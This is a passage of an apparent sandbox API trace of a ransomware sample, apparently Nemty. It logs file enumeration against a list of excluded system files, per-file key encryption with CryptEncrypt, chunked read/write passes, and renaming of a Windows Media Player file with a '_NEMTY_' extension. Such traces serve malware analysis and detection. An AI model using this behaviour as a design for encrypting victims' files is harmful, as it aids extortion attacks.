dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0105.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0105.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0105.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0105.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0105.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0105.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0105.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.239] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="..") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="...") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="windows") returned -1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="$RECYCLE.BIN") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="rsa") returned -1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="NTDETECT.COM") returned -1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="ntldr") returned -1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="MSDOS.SYS") returned -1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="IO.SYS") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="boot.ini") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="boot.ini") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="AUTOEXEC.BAT") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="ntuser.dat") returned -1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="desktop.ini") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="CONFIG.SYS") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="RECYCLER") returned -1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="BOOTSECT.BAK") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="bootmgr") returned 1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="programdata") returned -1 [0105.239] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="appdata") returned 1 [0105.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaReceiverRegistrar.xml", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0105.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaReceiverRegistrar.xml", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MediaReceiverRegistrar.xml", lpUsedDefaultChar=0x0) returned 26 [0105.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0105.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaReceiverRegistrar.xml", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0105.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaReceiverRegistrar.xml", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MediaReceiverRegistrar.xml", lpUsedDefaultChar=0x0) returned 26 [0105.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0105.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaReceiverRegistrar.xml", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0105.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaReceiverRegistrar.xml", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MediaReceiverRegistrar.xml", lpUsedDefaultChar=0x0) returned 26 [0105.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaReceiverRegistrar.xml", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0105.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MediaReceiverRegistrar.xml", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MediaReceiverRegistrar.xml", lpUsedDefaultChar=0x0) returned 26 [0105.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94258 [0105.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94388 | out: hHeap=0x4f90000) returned 1 [0105.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0105.240] Sleep (dwMilliseconds=0x5) [0105.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf261a1d0, dwHighDateTime=0x1d561e7)) [0105.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf261a1d0, dwHighDateTime=0x1d561e7)) [0105.251] GetLastError () returned 0x5 [0105.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.251] GetLastError () returned 0x5 [0105.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0105.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0105.251] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0105.251] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0105.251] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0105.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0105.251] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="KAQ80EIUo4kB9/7q/LLbEz5113BYWVZDnqpX5Mm/XOFAg4aBAo9mJuO0ymE3H7i2\r\n78D4NmAOeZkW3vlnpKSVtcwflFNQ7WstbqVkfPqDFMoPhvNvSpOx/vB9B4gOMkIY\r\nOWZ+5dRufVYOVAp/Nmin+UlzaSRYlKDQ8rJA0KgZsKCRKvLPOLjRGpkto3r4tJMI\r\n1/IWHttfo7uUDW2OWfYVmY/e2iwFqgjzq3soflSqHUMKdSXjYZZ9zi+9aeRM+kmy\r\ndkroL7IUom6vM+zceUuja7GSaWSsXHMLVcBKeJ18wvSGrkF/oVsO0Du+gwtp99yu\r\nDNlsXLIFKVDFqvWXdE0Kfg==\r\n", pcchString=0x653ef9c) returned 1 [0105.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0105.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0105.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0105.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0105.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0105.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0105.252] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0105.252] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0105.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0105.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0105.367] CloseHandle (hObject=0xffffffff) returned 0 [0105.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0105.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0105.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0105.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0105.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0105.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0105.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0105.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340328 [0105.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0105.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0105.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml._nemty_kgobjgd_")) returned 0 [0105.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0105.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0105.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0105.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0105.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0105.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0105.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0105.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0105.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.368] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5352, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_bw120.jpg", cAlternateFileName="")) returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="..") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="...") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="windows") returned 1 [0105.368] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="$RECYCLE.BIN") returned 1 [0105.368] lstrcmpiW 